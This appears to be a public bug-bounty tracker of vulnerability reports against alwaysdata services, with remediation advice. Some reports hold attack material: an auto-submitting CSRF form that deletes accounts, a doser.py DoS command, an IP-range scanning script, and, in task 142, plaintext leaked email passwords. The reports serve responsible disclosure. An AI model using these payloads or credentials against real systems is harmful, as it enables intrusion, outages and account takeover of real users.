|
154 | Broken Access Control via Back Button (Alt+Left Arrow) ... | Closed | 14.04.2025 |
Task Description
Two critical vulnerabilities were identified in the `admin.alwaysdata.com` panel:
1. Broken Access Control via browser back-navigation (Alt+←), exposing sensitive user data post-logout.
2. CSRF (Cross-Site Request Forgery) via a GET request that allows unauthorized deletion of user accounts.
—
### 🧪 Steps to Reproduce
#### 🐞 Part 1: Broken Access Control via Browser Back Navigation
1. Login to the application: [https://admin.alwaysdata.com](https://admin.alwaysdata.com)
2. Navigate to user details:
Example:
`https://admin.alwaysdata.com/admin/details/384337/deletee/`
3. Logout from the application.
4. Press Alt + Left Arrow (or use browser back button).
5. ⚠️ Result: The previously authenticated page is shown again, leaking sensitive user information (even though the user has logged out).
Impact: An attacker who gains temporary access to the session or has physical access to the system can access previously authenticated content even after logout.
—
#### 🐞 Part 2: CSRF - Account Deletion via GET Request
The following endpoint allows account deletion via a GET request, making it vulnerable to CSRF.
##### 🔓 CSRF Exploit HTML
```html
<body onload="document.forms[0].submit()">
<form action="https://admin.alwaysdata.com/admin/details/384337/delete/" method="GET">
<input type="hidden" name="reason" value="Testing CSRF exploit" />
</form>
</body>
```
#### Steps:
1. Host this HTML file on any domain under your control.
2. Send the link to a logged-in admin user (victim).
3. When the victim clicks the link, the page auto-submits a GET request to:
```
https://admin.alwaysdata.com/admin/details/384337/delete/?reason=Testing+CSRF+exploit
```
4. If he /she click the delete button it will be deleted.
—
### 💥 Combined Impact
By chaining these two issues, an attacker could:
- Extract sensitive data via broken access control (using back-navigation after logout).
- Delete user accounts via CSRF without authentication or confirmation.
—
### 🔐 Recommended Fixes
1. Fix Broken Access Control:
Invalidate cached pages using proper cache-control headers:
```http
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
```
- Implement server-side checks to reject requests after session termination.
2. Fix CSRF in Sensitive Actions:
Use POST requests for state-changing actions (like deletion).
Implement CSRF tokens and validate them on every form submission.
—
POC Link: https://drive.google.com/file/d/1BSTP_m8nxiP4h-bQIq9OsiCRmYlBJuaO/view?usp=sharing
|
|
153 | Reflected XSS via CSRF | Closed | 14.04.2025 |
Task Description
no task description |
|
152 | Leaked Credentials via Breach Forums | Closed | 14.04.2025 |
Task Description
I am a security researcher and as a part of the Bug bounty program I want to responsibly disclose credentials leak that I have identified for some of your customers. The credentials leaked are part of stealer logs data which has been stolen from browsers of your customers and has been made public.
I have identified leaked credentials on dark web and telegram. These credentials when used in browsers like chrome also gives you a warning of it being part of the breach. Attaching a screenshot of the same for your reference.
Please use the below mentioned credentials to replicate the issue
URL: https://admin.alwaysdata.com/login/ Username: Swaa…@gmail.com Password: HIDDEN
Username: abin.m…@gmail.com Password: HIDDEN
Username: form.d…@gmail.com Password: HIDDEN
Remediation:
1. Notify the mentioned users about the breach and ask them to change their password.
2. Block the users in the backend and force them to change their password in next login attempt.
|
|
151 | Title: Logical Flaw in Account Transfer Allows Unexpect ... | Closed | 09.04.2025 |
Task Description
Title: Logical Flaw in Account Transfer Allows Unexpected Loss of Site/Domain Ownership After Old Invitation is Accepted
—
Description:
The AlwaysData platform allows users to transfer ownership of assets such as sites and domains, either individually or by transferring the entire account to another user. The vulnerability occurs when an invitation to transfer a specific asset (e.g., a site) is sent to a user who delays accepting it. Later, the entire account — including the previously invited site/domain — is transferred to a different user.
The issue arises when the first user (who received the initial invitation) finally accepts it after the account has already been transferred. This results in the site or domain being unexpectedly and silently pulled from the new account owner and given to the first invited user — a behavior that is both unintended and out of the new owner’s control.
—
Steps to Reproduce:
1. User A owns an account that contains a site (e.g., testss.alwaysdata.net).
2. A sends an invitation to B to transfer the site ownership.
3. B does not accept the invitation immediately.
4. Later, A transfers the entire account (including the site and domain) to C.
5. C begins using the site in a production environment.
6. After some time, B accepts the old invitation for the site.
7. Result: The site is unexpectedly transferred from C to B, causing:
Service downtime if the site is in active use.
Loss of access for C.
Potential data leakage if the site contains sensitive content.
###I sent a proof of concept: https://admin.alwaysdata.com/support/86226/
—
Impact:
Loss of full control: User C, now the legitimate account owner, loses the site/domain without notice.
Privacy and confidentiality breach: If sensitive data exists on the site or domain.
Abuse potential: Malicious actors could deliberately delay accepting invites to hijack assets in the future.
—
Severity:
P2 - High Severity
Ease of Exploitation: No advanced techniques required.
Impact: High, as it affects ownership of critical infrastructure.
Unexpected Behavior: From the new owner’s perspective, the outcome is both surprising and disruptive.
—
Recommendations:
1. Invalidate pending invitations automatically upon account or asset transfer.
2. Redesign ownership logic to bind invitations to current ownership context.
3. Add verification layers to ensure old invitations can't be acted upon after transfer events.
|
|
150 | 2FA is not Initiating on User Account | Closed | 05.04.2025 |
Task Description
#2FA is not Initiating on User Account
Hello Team, I hope you are doing well. While Researching in your domain I found 2Fa is not Initiating on User Account in your domain.
Steps to Reproduce:
1: Create a account in admin.alwaysdata.com.
2. Initiate 2fa on your account.
3. Go to Permission Section Add a Email in email Section and Check the 2fa Required box and make some Global Permission you want to proceed and then submit.
4. User receive Profile Initialization in your email, User can fill the form and then submit the form, he/she directly login on o your account without any 2fa Initialization in which administrator can check the 2fa required box.
Impact:
Administrator can imagine he/she initiate 2fa requirement on user account but 2fa is enabled on user account. User can easily access their account and admin permission without 2fa prompting.
Thank You,
Waleed Anwar
|
|
149 | Failure to invalidate sever after password change in We ... | Closed | 04.04.2025 |
Task Description
Failure to invalidate sever after password change in Webdav
Hello Team,
I hope you are doing well. While Researching in your domain I found Failure to invalidate server after password change vulnerability in your domain.
Steps to Reproduce:
1.Go to https://admin.alwaysdata.com/webdav/ and set a password for user and then submit.
2.Then, go to your PC to Connect Webdav Server with your Windows/Linux.
3.Again go tohttps://admin.alwaysdata.com/webdav/ and then change the password and submit it.
4.You can see that server is still validated and files are accessible in your webdav server which is connected with your PC.
Impact
If attacker have gain access in someone Pc, he/she access these files without any error. As server is not destroyed, attacker will be still access these files, cause his server is still active.. Server should be destroyed can take effect immediately when password is changed.
Thank You,
Waleed Anwar
|
|
148 | Expired Encryption Key in Security alwaysdata.com Site | Closed | 04.04.2025 |
Task Description
Hi,
The Encryption key from alwaysdata Security Team has expired, making it impossible for security researchers to securely report vulnerabilities / messages via encrypted communication. This can prevent security researchers or users from securely reporting vulnerabilities / sending messages, as they may not be able to encrypt their messages. Expired key reduce the effectiveness of the responsible disclosure process and can expose organizations to unreported security risks.
The lack of a valid GPG/PGP key introduces unnecessary risk, especially when a critical vulnerability is involved. It is currently not doing its job.
Upon verification, the referenced PGP key has the following:
Expiration Date: [expired: 2022-12-11]
Status: Expired
Steps To Reproduce:
Check key from alwaysdata security site https://help.alwaysdata.com/en/security/bug-bounty/ as presented below in POC section below.
Proof of Concept - POC:
From your security site https://help.alwaysdata.com/en/security/bug-bounty/
"Reports about vulnerabilities are examined by our security analysts. If you need to encrypt payload, we strongly recommend you to use the 0xDFDD2138A363986B GPG public key. Reports must be submitted using our bug tracking interface."
With added link https://www.alwaysdata.com/static/0xDFDD2138A363986B.pub.asc
From Terminal:
wget https://www.alwaysdata.com/static/0xDFDD2138A363986B.pub.asc
gpg –import 0xDFDD2138A363986B.pub.asc
gpg: key 53EC46DAA71D9A1A: public key "alwaysdata security (Security team at alwaysdata https://www.alwaysdata.com) security@alwaysdata.com" imported
gpg: Total number processed: 1
gpg: imported: 1
gpg –list-keys –with-fingerprint –with-subkey-fingerprint –verbose
pub rsa4096 2018-09-26 [SC] [expired: 2022-12-11]
9EE5 6D51 F03F 7756 837D C0D2 53EC 46DA A71D 9A1A
uid [ expired] alwaysdata security (Security team at alwaysdata https://www.alwaysdata.com) security@alwaysdata.com sub rsa4096 2018-09-26 [E] [expired: 2022-12-11]
BD34 402C EB6B 2D54 8C4D 1FEE DFDD 2138 A363 986B
Today is 2025-04-04.
Screenshot: can attach, but can not see here image upload feature.
As shown, this may result in using an expired (invalid) key due to the query output above.
Severity
Medium (6.1)
Weakness
Use of a Key Past its Expiration Date
Impact
Security researchers are unable to encrypt reports / messages using the provided GPG/PGP key.
Sensitive vulnerability information may be exposed to interception if sent unencrypted.
This weakens the responsible disclosure process and may delay security issue resolution.
This can leads to security concerns from the researchers and visitors (kind of reputation damage - as we can see 'Expired' on the security section - given GPG/PGP key - email address for messages with confidential content). The lack of a valid GPG/PGP key introduces unnecessary risk, especially when a critical vulnerability is involved.
Using this expired key could result in insecure communications or failed message verification processes. Reporters may use different emails providers.
Outdated keys may be rejected by automated systems, leading to communication disruptions.
Recommendation:
Generate a new OpenPGP key and replace the expired key.
Ensure periodic key rotation to prevent future expiration issues.
Mitigation
To mitigate this issue, organization should regularly update their encryption keys.
An organization should ensure that updates to their keys are propagated to all major servers.
Supporting Material/References:
CWE-320: Key Management Errors https://cwe.mitre.org/data/definitions/320.html OWASP Top Ten 2013 Category A5 - Security Misconfiguration https://cwe.mitre.org/data/definitions/933.html https://cwe.mitre.org/data/definitions/815.html https://cwe.mitre.org/data/definitions/310.html
I look forward to your response.
Best regards,
|
|
147 | Marked as SPAM by Filters - Email from security@alwaysd ... | Closed | 04.04.2025 |
Task Description
Hi,
Notification from Flyspray (Registration on security.alwaysdata.com) - Email from security@alwaysdata.com - Marked as SPAM by Filters
(the title had a character length limit)
Repro steps:
Register on your Security site https://security.alwaysdata.com using Gmail.
Receive email titled 'Notification from Flyspray' with 'confirmation code' from Security vulnerabilities security@alwaysdata.com Find this in SPAM folder with warning from Gmail about SPAM
POC:
Mentioned message found in SPAM folder.
On the gray background 'Why did this message go to Spam? The message is similar to those detected by our spam filters.'
It is at least reputation damage.
Makes communication difficult and may prevent the reporting (registration) of security issues.
References:
https://support.google.com/mail/answer/1366858?hl=en OWASP Top Ten 2013 Category A5 - Security Misconfiguration https://cwe.mitre.org/data/definitions/933.html https://cwe.mitre.org/data/definitions/815.html
PS. Can show a screenshot (POC), but can not see here image upload.
Best regards,
|
|
146 | Security Report: Webmail Session Reuse After Account De ... | Closed | 01.04.2025 |
Task Description
Vulnerability Description:
A vulnerability was discovered in Alwaysdata's domain and email management system, allowing an attacker to maintain an active session even after deleting their account. This vulnerability can be exploited through email domain reuse in Webmail, enabling an attacker to gain access to newly created email accounts without needing to steal login credentials.
Exploitation Steps:
1. The attacker adds the domain evil.com to their Alwaysdata account.
2. They create an email address admin@evil.com via Webmail (webmail.alwaysdata.com).
3. The attacker logs into Webmail and saves the session.
4. They delete their Alwaysdata account, but the Webmail session remains active.
5. A new user adds evil.com to their Alwaysdata account and creates the same email admin@evil.com.
6. Once the new user logs into Webmail, the attacker still has access to the email since their session remains active!
Proof of Concept (PoC) Provided: https://admin.alwaysdata.com/support/85071/
Impact of the Vulnerability:
Modification of email settings.
Wide-scale exploitation: The attacker can repeat the process with multiple domains, allowing them to gain control over different email accounts.
Recommendations to Fix the Vulnerability:
1. Terminate all active sessions immediately when an account is deleted or a domain is removed.
2. Link sessions to the user account instead of just the domain to ensure sessions do not transfer between different users.
This vulnerability poses a serious threat to user privacy and account security, and we strongly recommend fixing it as soon as possible.
|
|
145 | Insecure Account Removal | Closed | 26.03.2025 |
Task Description
Summary:
Deleting accounts without proper credentials or verification can lead to unauthorized access, data loss, account takeovers, compliance violations, and legal penalties. It can also disrupt services, damage reputation, create audit gaps, increase fraud risks, and burden customer support. Proper security measures and verification processes are essential to prevent these issues.
Weakness: Improper Authorization and Broken Authentication (CWE-285)
Severity: High
Steps to Reproduce: -
1. Log in to your https://admin.alwaysdata.com/login/.
2. click on account profile.
3. Choose the "Delete this profile" option and there by click on submit .
4. Notice that there is no password confirmation required to proceed with the account deletion.
5. Confirm the account deletion request the account will be deleted without requiring the user to enter their password.
impact:
Deleting an account without a password or proper verification can have several serious consequences. Unauthorized deletions may result in legitimate users losing access to important data, files, or services, which can be difficult or impossible to recover. Data loss can be catastrophic for both individuals and organizations, especially if the account contained sensitive information or intellectual property. Additionally, if an attacker gains control and deletes the account, this could lead to account takeovers or impersonation attempts.
POC
https://drive.google.com/file/d/1juWAAZdCm_o1RiSwVAZiq8guAGsjIS3e/view?usp=sharing
Thanks and regards,
spyhacker
|
|
144 | Insecure Account Removal | Closed | 26.03.2025 |
Task Description
no task description |
|
143 | Information disclosure | Closed | 26.03.2025 |
Task Description
step to reproduce:
1. go to https://blog.alwaysdata.com/wp-sitemap-users-1.xml
|
|
142 | Critical Security Vulnerabiliy-Direct Access to Webmail ... | Closed | 24.03.2025 |
Task Description
SUMMARY:
As a cybersecurity and darknet researcher, I have discovered a critical security vulnerability in the webmail.alwaysdata platform. The site lacks Two-Factor Authentication (2FA), meaning that if an attacker obtains a user's password, they can gain access without any additional security verification. During my investigation, I also discovered 100 sets of credentials on the dark web, further underscoring the ease with which attackers can exploit this vulnerability. An attacker can use these leaked credentials to log into the webmail portal without any further checks, exposing sensitive internal data such as customer support tickets, billing information, and inventory details, and potentially leading to the defacement of user accounts and unauthorized modifications to administrative settings.
AFFECTED SYSTEM:
Webmail Data Portal (webmail.alwaysdata)
IMPACT LEVEL:
CRITICAL
ATTACK VECTOR:
The absence of 2FA allows attackers to log in using stolen credentials without any additional verification. Once inside, they can manipulate administrative settings and access sensitive information, including user-created support tickets and billing details. The ease of unauthorized access significantly heightens the risk of data exfiltration and system manipulation.
STEPS TO REPRODUCE:
Use leaked credentials
https://webmail.alwaysdata.com:younes@alwaysdata.net:MOLImoli1
https://webmail.alwaysdata.com/:tayssir@alwaysdata.net:Fvdptr87
https://webmail.alwaysdata.com:eliu@tijuana.ml:2Tekilas
(one of the 100 sets discovered on the dark web) to access the webmail portal.
Observe that no 2FA is required, granting immediate and unrestricted administrative access.
IMPACT ANALYSIS:
Confidentiality Impact:
Unauthorized access to sensitive internal data, including customer support tickets, billing information, and inventory details.
Exposure of sensitive contractual agreements and cloud infrastructure details.
Potential for exfiltration of confidential business information, leading to financial and reputational harm.
Integrity Impact:
Unauthorized modifications to administrative settings, disrupting normal business operations.
Manipulation of support ticket data, resulting in miscommunication and incorrect troubleshooting.
Availability Impact:
Alteration or deletion of inventory records.
Data loss and operational downtime, causing prolonged recovery efforts and increased costs.
RECOMMENDATIONS:
Immediate Mitigation: Revoke compromised credentials and enforce a company-wide password reset. Restrict access to the webmail portal to authorized personnel only.
Implement Mandatory 2FA: Enforce Two-Factor Authentication for all accounts, with priority given to administrative access.
Access Control: Apply the principle of least privilege and implement role-based access controls.
Device Security: Restrict unauthorized device registrations and enforce strict device security policies.
|
|
141 | User PII Information Leaked In Report | Closed | 21.03.2025 |
Task Description
Reported by: Vikash Gupta
Severity Level: Critical
Status: Pending Review
Priority: High
Overview
A Personal Identifiable Information (PII) exposure vulnerability allows unauthorized access to sensitive user data, including names, email addresses, phone numbers, and other personal details. This flaw puts user privacy at risk and may lead to identity theft, phishing attacks, and legal compliance violations.
Vulnerability Details
Feature Affected: User Data Storage & Retrieval
Vulnerability Type: PII Information Disclosure
Description:
Due to misconfigured access controls, insecure API responses, or improper data exposure, sensitive user data is accessible to unauthorized users.
Attackers can extract PII from API endpoints, public web pages, or logs without authentication.
The leaked information may include full names, email addresses, phone numbers, addresses, or other personally identifiable data.
Step to reproduced :-
Dear alwaysdata.com Team
Sir I'm Vikash Gupta & I'm Security Researcher. I found { User PII Information Leaked } Vulnerability in Your Website.
Vulnerable URL :- https://security.alwaysdata.com/task/137
STEP TO REPRODUCED :-
1- Go to Vulnerable Url :- https://security.alwaysdata.com/task/137 2- Scroll Down & You see {User Paypal ID is Leaked in Report}
3- Fix It Immediately.
BOOOOM! I hope You fixed this issue quickly.
Impact Assessment
Security Risks:
Identity Theft: Exposed PII can be used for fraudulent activities.
Phishing & Social Engineering Attacks: Attackers can craft targeted scams using leaked data.
Financial Risks: Exposed financial details can lead to fraud or unauthorized transactions.
Business & Compliance Risks:
Violation of Data Protection Laws: Non-compliance with GDPR, CCPA, and other data privacy regulations may lead to legal actions.
Loss of User Trust: Users may lose confidence in the platform’s security.
Reputation Damage: Public exposure of this issue can harm the company’s brand and credibility.
Proposed Solution
Implement Proper Access Controls:
Restrict access to PII data using role-based access control (RBAC).
Ensure only authorized users can access sensitive information.
Secure API & Web Responses:
Remove PII exposure in API responses unless explicitly required.
Mask or encrypt sensitive data in logs and responses.
Regular Security Audits & Compliance Checks:
Conduct frequent security assessments to detect and fix data leaks.
Ensure compliance with data protection laws and industry security standards.
Conclusion
This PII data exposure vulnerability poses a critical security risk, allowing attackers to steal personal user information. Implementing access controls, API security measures, and regular audits is necessary to protect user privacy and prevent legal risks.
Reported by: Vikash Gupta
|
|
140 | Sensitive Information Disclosure via Exposed phpinfo Pa ... | Closed | 20.03.2025 |
Task Description
Summary:
An accessible phpinfo page at https://net2ftp.alwaysdata.com/skins/php.php discloses detailed configuration information about the PHP environment. This information can be leveraged by attackers to identify potential vulnerabilities, misconfigurations, and outdated software components.
Details:
PHP Version: 5.6.40
System Information:
Operating System: Linux (kernel version 6.6.30-alwaysdata)
Server API: CGI/FastCGI
Configuration Exposure:
Paths to configuration files (php.ini) and directories
Enabled/disabled PHP functions and security settings (e.g., disable_functions, open_basedir)
Loaded extensions and their versions
Environment details such as server API and build dates
Steps to Reproduce:
Navigate to the URL: https://net2ftp.alwaysdata.com/skins/php.php Observe that the page displays comprehensive PHP configuration details.
Impact:
Information Disclosure: The exposed details provide attackers with insights into the server configuration, which could be used to tailor further attacks.
Risk of Exploitation:
-Identification of outdated software (PHP 5.6.40 is no longer supported and may have known vulnerabilities).
-Knowledge of disabled functions and active extensions can assist in formulating targeted exploitation strategies (e.g., leveraging known vulnerabilities in specific extensions or misconfigurations).
-Potential Follow-on Attacks: While phpinfo itself is not a direct vulnerability, the information disclosed could aid in other attacks, such as Local File Inclusion (LFI) or Remote Code Execution (RCE), if combined with other weaknesses.
Severity:
Risk Level: High the server also runs outdated or unpatched components and the phpinfo page is publicly accessible without any authentication or access control.
Recommendations:
-Restrict Access:
Remove or restrict access to the phpinfo page from the public internet. Consider using authentication or IP whitelisting if the page is needed for internal diagnostics.
-Update PHP:
Upgrade to a supported and secure version of PHP to mitigate potential exploits that target known vulnerabilities in PHP 5.6.40.
-Harden Configuration:
Ensure that sensitive functions (e.g., exec(), shell_exec()) are disabled if not necessary.
Review and adjust settings such as open_basedir to limit access to the file system.
|
|
139 | Title: Session Persistence After Subdomain Reuse or Tra ... | Closed | 21.03.2025 |
Task Description
Vulnerability Type:
Session Management Issue
Email Account Takeover
User Data Exposure
Severity: P1 (Critical)
This vulnerability allows an attacker to retain a valid session even after a subdomain is deleted or transferred to another user, enabling them to:
Read all incoming emails of the new user.
Send emails on behalf of the new user.
Modify email settings, such as forwarding rules and signatures.
—
Description:
The Alwaysdata platform allows users to create subdomains under alwaysdata.net for hosting websites and managing emails via webmail.alwaysdata.com. However, a critical session management flaw enables an attacker to retain an active session even after deleting or transferring the subdomain to a new user.
—
Scenario 1: Subdomain Reuse
Steps to Reproduce:
1. The attacker creates a subdomain (e.g., attacker.alwaysdata.net).
2. The attacker logs into webmail.alwaysdata.com and keeps the session active.
3. The attacker deletes the subdomain from their account.
4. A new user registers the same subdomain (attacker.alwaysdata.net).
5. The new user logs into webmail.alwaysdata.com.
6. The attacker retains a valid session, allowing them to:
Read all incoming emails of the new user.
Send emails on behalf of the new user.
Modify email settings (forwarding, signature, etc.).
7. The new user may encounter session-related errors, such as:
"Server Error: CREATE: Internal error occurred. Refer to server log for more information."
—
Scenario 2: Subdomain Ownership Transfer
Steps to Reproduce:
1. The attacker creates a subdomain (e.g., attacker.alwaysdata.net).
2. The attacker logs into webmail.alwaysdata.com and keeps the session active.
3. Instead of deleting the subdomain, the attacker transfers ownership to another user via admin.alwaysdata.com.
4. The new user accepts the transfer and starts using the subdomain.
5. The attacker retains an active session, allowing them to:
Read and send emails on behalf of the new user.
Modify email settings.
Access the email account until the session expires.
6. Even if the new user changes their email password via admin.alwaysdata.com, the attacker still has access due to the active session.
—
Impact:
Sensitive Data Exposure: The attacker can read incoming emails.
Identity Theft: The attacker can send emails on behalf of the new user.
Account Compromise: The attacker can modify email settings to maintain access.
Mass Exploitation: The attacker can create and delete multiple subdomains to target many future users.
##POC: https://admin.alwaysdata.com/support/84903/
—
Recommended Fixes:
Terminate all active sessions immediately upon subdomain deletion or transfer.
Link sessions to the user account instead of just the subdomain.
Warn the new user if there was an existing open session for the same subdomain.
Enforce re-authentication when transferring subdomain ownership.
Add an additional verification layer for email-related sessions when ownership changes.
This vulnerability poses a severe risk to user privacy and requires an urgent fix to prevent unauthorized access to email accounts.
|
|
138 | Title: Email Verification Bypass in [admin.alwaysdata.c ... | Closed | 19.03.2025 |
Task Description
1. Summary:
When creating a new account on the platform, the user is required to verify their email address to complete the registration process. However, after completing the initial verification, the user can change the email address associated with the account to another one without the need to verify the new email.
This bypasses the verification mechanism designed to ensure that the user owns the email linked to their account, posing a potential security risk that could be exploited for fraud, account takeovers, and the creation of fake accounts.
2. Steps to Reproduce the Vulnerability:
Create a new account using a valid email address.
Confirm the email address by clicking the verification link sent to the email.
Navigate to account settings and update the email address to a different one.
Notice that no verification is required for the new email, and the change is applied immediately.
3. Impact:
1. Account Takeover (ATO):
If an attacker gains access to another user's account (through a session hijack or weak password reset mechanism), they can change the email address to their own without requiring confirmation.
Once the email is changed, the victim loses access to recover their account, even if they attempt to reset their password.
If the account contains sensitive information (such as payment details or personal data), this could lead to financial losses or identity theft.
2. Fraud and Phishing:
An attacker can change their email address to one resembling official support (e.g., support@company.com).
They can then use this email to send phishing messages to other users, making the attack more convincing.
4. Recommendations & Fixes:
Require users to verify the new email address before updating it in the account.
|
|
137 | Critical Vulnerability Report- 1 | Closed | 15.03.2025 |
Task Description
Critical Vulnerability Report- {Critical BUG #P1} - https://blog.alwaysdata.com/wp-cron.php - vulnerable to DoS attack via wp-cron.php
NOTE: I did not do Exploitation that as this can impact your website.
Hello Security team,
I am a Security Engineer, Cyber Security Researcher, Bug Bounty Hunter & Ethical Hacker. While testing your domain https://alwaysdata.com I have found some important vulnerabilities in your site.
Vulnerability Name: https://blog.alwaysdata.com/ - vulnerable to DoS attack via wp-cron.php
Vulnerable Domain: https://blog.alwaysdata.com/wp-cron.php
Description:
The WordPress application is vulnerable to a Denial of Service (DoS) attack via the wp-cron.php script. This script is used by WordPress to perform scheduled tasks, such as publishing scheduled posts, checking for updates, and running plugins.
An attacker can exploit this vulnerability by sending a large number of requests to the wp-cron.php script, causing it to consume excessive resources and overload the server. This can lead to the application becoming unresponsive or crashing, potentially causing data loss and downtime.
I found this vulnerability at https://blog.alwaysdata.com/wp-cron.php endpoint.
Steps to Reproduce: reference- https://hackerone.com/reports/1888723
navigate to: https://blog.alwaysdata.com/wp-cron.php intercept the request through the burp suite
right click on the request and send it to the repeater
Now send a request, and you will see the response as 200 OK
—
this can be also done by the curl command given below
curl -I "https://blog.alwaysdata.com/wp-cron.php"
POC: Attached
Impact:
If successful, this misconfigured wp-cron.php file can cause lots of damage to the site, such as:
Potential Denial of Service (DoS) attacks, resulting in unavailability of the application.
Server overload and increased resource usage, leading to slow response times or application crashes.
Potential data loss and downtime of the site.
Hackers can exploit the misconfiguration to execute malicious tasks, leading to security breaches.
Exploitation:
Exploitation can be done through a GitHub tool called doser.go https://github.com/Quitten/doser.go
I did not do that as this can impact your website.
Get the doser.py script at https://github.com/Quitten/doser.py Use this command to run the script: python3 doser.py -t 999 -g 'https://blog.alwaysdata.com/wp-cron.php'
Go to after https://blog.alwaysdata.com/ 1000 requests of the doser.py script.
The site returns code 502.
Suggested Mitigation/Remediation Actions:
To mitigate this vulnerability, it is recommended to disable the default WordPress wp-cron.php script and set up a server-side cron job instead. Here are the steps to disable the default wp-cron.php script and set up a server-side cron job:
Access your website's root directory via FTP or cPanel File Manager.
Locate the wp-config.php file and open it for editing.
Add the following line of code to the file, just before the line that says "That's all, stop editing! Happy publishing.":
Code 32 BytesUnwrap lines Copy Download
1define('DISABLE_WP_CRON', true);
Save the changes to the wp-config.php file.
Set up a server-side cron job to run the wp-cron.php script at the desired interval. This can be done using the server's control panel or by editing the server's crontab file.
References:
For more information about this vulnerability, please refer to the following resources:
https://hackerone.com/reports/1888723
https://medium.com/@mayank_prajapati/what-is-wp-cron-php-0dd4c31b0fee
https://developer.wordpress.org/plugins/cron/
Fix Them
I have protected your company and saved it from a big loss so give me some appreciation Bounty Reward.
I am sharing my PayPal ID with you.
Paypal ID: trilokdhaked12345678@gmail.com
|
|
136 | users email address enumeration | Closed | 06.03.2025 |
Task Description
there is ability to enumerate email address of users through
admin.alwaysdata.com/password/lost/
if i enter a registered email it will display that email has sent
but if the mail in snot registered it will say
The form contains some errors.
Email address of your account : There is no account with this email address.
so we can brute force using list of emails and get some regestered mails
there is rate limit but it's very poor as waiting 20 seconds after 7 or 8 requests will be ok and not banned with 429 response
suggested solution to say that : email is sent if this email has an account
as in here admin.alwaysdata.com/login/
if email or password are wrong it says credentials are incorrect not say email is incorrect as here emails can be enumerated
|
|
135 | local software files disclosure | Closed | 05.03.2025 |
Task Description
producing steps:
By using google dorks and write
site:alwaysdata.com intitle:index.of
it will show 2 sites
https://files.alwaysdata.com/ https://files.alwaysdata.com/migrations/software-2020/ the 2 files give me 404 forbidden
poc
searching for files.alwaysdata.com in waybackmachine
i can access now the pages without forbidden message
it contains software-2017 and software 2020
https://web.archive.org/web/20241007181407/https://files.alwaysdata.com/migrations/ it is an index page , appears software files that can be downloaded
|
|
134 | CSRF TOKEN BYPASS WITH GET REQUEST | Closed | 04.03.2025 |
Task Description
#CSRF TOKEN BYPASS WITH GET REQUEST.
Hello Team, I hope you are doing well. While, Researching in your domain I found Csrf Token Bypass with Get Request Method.
#Steps to Reproduce:
1. Login https://webmail.alwaysdata.com/?from_roundcube=1.
2. Go to https://webmail.alwaysdata.com/roundcube/?_task=settings&_action=folders and Click on Save Button and Capture the Post Request in BurpSuite.
3. You got the POST request like this.
POST /roundcube/ HTTP/1.1
Host: webmail.alwaysdata.com
Cookie: csrftoken=xxxxxxxxxxxxxxxxxxxxxxx; roundcube_sessid=xxxxxxxxxxxxxxxxx; mailviewsplitterv=165; mailviewsplitter2=405; prefsviewsplitter=195; colorMode=light; sessionid=xxxxxxxxxxxxxxxxxxxxxxxxxxx; roundcube_sessauth=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://webmail.alwaysdata.com/roundcube/?_task=settings&_action=add-folder&_mbox=&_framed=1 Origin: https://webmail.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&_framed=1&_task=settings&_action=save-folder&_name=test&_parent=INBOX&_viewmode=0
4. Change the POST Request to GET and remove the token into null request.
5. Send this request to someone, he/she create folder without token and CSRF Protection also bypassed.
#Before Changing the Request(POST Method):
REQUEST CHECK FAILED
For your protection, access to this resource is secured against CSRF.
If you see this, you probably didn't log out before leaving the web application.
Human interaction is now required to continue.
Please contact your server-administrator.
# After Changing the Request(GET Method):
Location
Folder name
Parent folder
— Settings
List view mode
List
Thank You,
Waleed Anwar
|
|
133 | Sensitive data exposure | Closed | 04.03.2025 |
Task Description
A PDF file containing bank account details and sensitive codes is publicly accessible without authentication. This exposure poses a high risk as it could lead to financial fraud, identity theft, or unauthorized transactions.
Steps To Reproduce:
Locate the exposed PDF file:
Access the file directly via the URL:
https://share.alwaysdata.com/IBAN.pdf ,https://static.alwaysdata.com/docs/IBAN.pdf
No authentication is required to view the pdf .
Confirm sensitive data exposure:
Open the PDF and verify that it contains:
Bank account number
Sensitive codes BIC (Bank Identifier Code)
Impact:
🔴 Severity: High
Financial Risk: Attackers could misuse exposed bank details for fraudulent transactions or identity theft.
Compliance Violation: The exposure may violate GDPR, PCI DSS, and financial security policies.
Reputation Damage: If exploited, this could lead to customer trust loss and regulatory fines.
Recommendation:
Restrict Access: Implement authentication & access control for sensitive files.
Disable Directory Listing: Prevent public file browsing on the server.
Remove Exposed Files: Securely delete or relocate sensitive PDFs.
Use Robots.txt & No-Index Headers: Prevent search engines from indexing sensitive documents.
Supporting Material/References:
Exposed URL :https://share.alwaysdata.com/IBAN.pdf
https://static.alwaysdata.com/docs/IBAN.pdf
|
|
132 | PHP info page disclosure | Closed | 26.02.2025 |
Task Description
#PHP info page disclosure
Hello Team, I hope you are doing well. While Researching on your domain, I found PHP info page disclosure.
Steps to Reproduce:
1.Ping www.alwaysdata.net
2.Found 185.31.40.5
3.Next thing I did was a Whois request on that domain to find the Netrange of this IP Address.
inetnum: 185.31.40.0 - 185.31.40.255
netname: ALWAYSDATA-PARIS1
country: FR
admin-c: ALWS1-RIPE
tech-c: ALWS1-RIPE
status: ASSIGNED PA
mnt-by: ALWAYSDATA
created: 2024-09-24T12:04:24Z
last-modified: 2024-09-24T12:04:24Z
source: RIPE
4.Then I wrote a bash script to find Sensitive Data on IP Address.
#!/bin/bash
for ipa in 185.3{1..0}.{40..255}.{0..255}; do
wget -t 1 -T 5 http://${ipa}/phpinfo.php; done &
and yes the result was the one i’ve found above.
5. I found http://185.31.41.136/phpinfo.php
An attacker can obtain information such as:
Exact PHP version.
Exact OS and its version.
Details of the PHP configuration.
Internal IP addresses.
Server environment variables.
Loaded PHP extensions and their configurations and etc.
Impact
This information can help an attacker gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.
